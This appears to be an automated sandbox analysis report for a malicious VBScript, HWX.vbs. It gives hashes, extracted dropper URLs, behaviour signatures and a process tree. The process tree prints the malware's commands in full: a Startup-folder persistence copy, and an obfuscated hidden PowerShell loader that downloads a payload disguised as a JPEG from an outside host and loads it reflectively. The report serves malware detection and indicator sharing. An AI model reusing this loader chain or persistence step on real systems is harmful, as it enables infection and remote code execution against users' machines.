Overview

overview

10

Static

static

1

HWX.vbs

windows7-x64

10

HWX.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/08/2023, 13:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    HWX.vbs

  • Size

    269KB

  • MD5

    eff515cd80fca123c65f7ed20d7f071f

  • SHA1

    6f7bf5b871e413f40f1c23e7953251d0fabbbf95

  • SHA256

    26176205211fdce7ad34cf10d72f178f1646e913e368f0f5bcc325e5428a69cc

  • SHA512

    f2959e3b6b618eca7f96b720c293fb47474440e0a65e838cd588af5078131a0c93bc76c151fd277a65e5f96e1b51d0bc4a56f657bae3a3d2ebe831017b78375e

  • SSDEEP

    6144:t7jmLQQJm7ILm5BmZMLpRKsEAlOb4b5bdZ7ZmZ8Z7V:t7jmLQQJm7ILm5BmZMLp4sEAT

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HWX.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:688
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 5
        3⤵
        • Runs ping.exe
        PID:5048
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2156
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')
          4⤵
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DYChr(63)&Chr(63)MwChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)MgChr(63)&Chr(63)xChr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBuChr(63)&Chr(63)GkChr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)cwBvChr(63)&Chr(63)F8Chr(63)&Chr(63)dgBiChr(63)&Chr(63)HMChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQBnChr(63)&Chr(63)D8Chr(63)&Chr(63)MQChr(63)&Chr(63)2Chr(63)&Chr(63)DkChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)MQChr(63)&Chr(63)4Chr(63)&Chr(63)DUChr(63)&Chr(63)NQChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B3Chr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BOChr(63)&Chr(63)GUChr(63)&Chr(63)dwChr(63)&Chr(63)tChr(63)&Chr(63)E8Chr(63)&Chr(63)YgBqChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBOChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)LgBEChr(63)&Chr(63)G8Chr(63)&Chr(63)dwBuChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)RChr(63)&Chr(63)BhChr(63)&Chr(63)HQChr(63)&Chr(63)YQChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FUChr(63)&Chr(63)cgBsChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RQBuChr(63)&Chr(63)GMChr(63)&Chr(63)bwBkChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)FUChr(63)&Chr(63)VChr(63)&Chr(63)BGChr(63)&Chr(63)DgChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BTChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)FMChr(63)&Chr(63)VChr(63)&Chr(63)BBChr(63)&Chr(63)FIChr(63)&Chr(63)VChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)EUChr(63)&Chr(63)TgBEChr(63)&Chr(63)D4Chr(63)&Chr(63)PgChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgChr(63)&Chr(63)4Chr(63)&Chr(63)DkChr(63)&Chr(63)cQB1Chr(63)&Chr(63)GwChr(63)&Chr(63)LwBsChr(63)&Chr(63)HQChr(63)&Chr(63)LwChr(63)&Chr(63)3Chr(63)&Chr(63)DYChr(63)&Chr(63)MQChr(63)&Chr(63)uChr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)xChr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)1Chr(63)&Chr(63)DEChr(63)&Chr(63)LgChr(63)&Chr(63)0Chr(63)&Chr(63)DkChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1148
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.89qul/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2664

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2kogegs.k5p.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/756-11-0x000001FB77500000-0x000001FB77510000-memory.dmp

    Filesize

    64KB

    Download

  • memory/756-6-0x000001FB79BE0000-0x000001FB79C02000-memory.dmp

    Filesize

    136KB

    Download

  • memory/756-0-0x00007FFD3E5A0000-0x00007FFD3F061000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/756-12-0x000001FB77500000-0x000001FB77510000-memory.dmp

    Filesize

    64KB

    Download

  • memory/756-16-0x00007FFD3E5A0000-0x00007FFD3F061000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1148-28-0x0000019DF21D0000-0x0000019DF21E0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1148-29-0x0000019DF21D0000-0x0000019DF21E0000-memory.dmp

    Filesize

    64KB

    Download

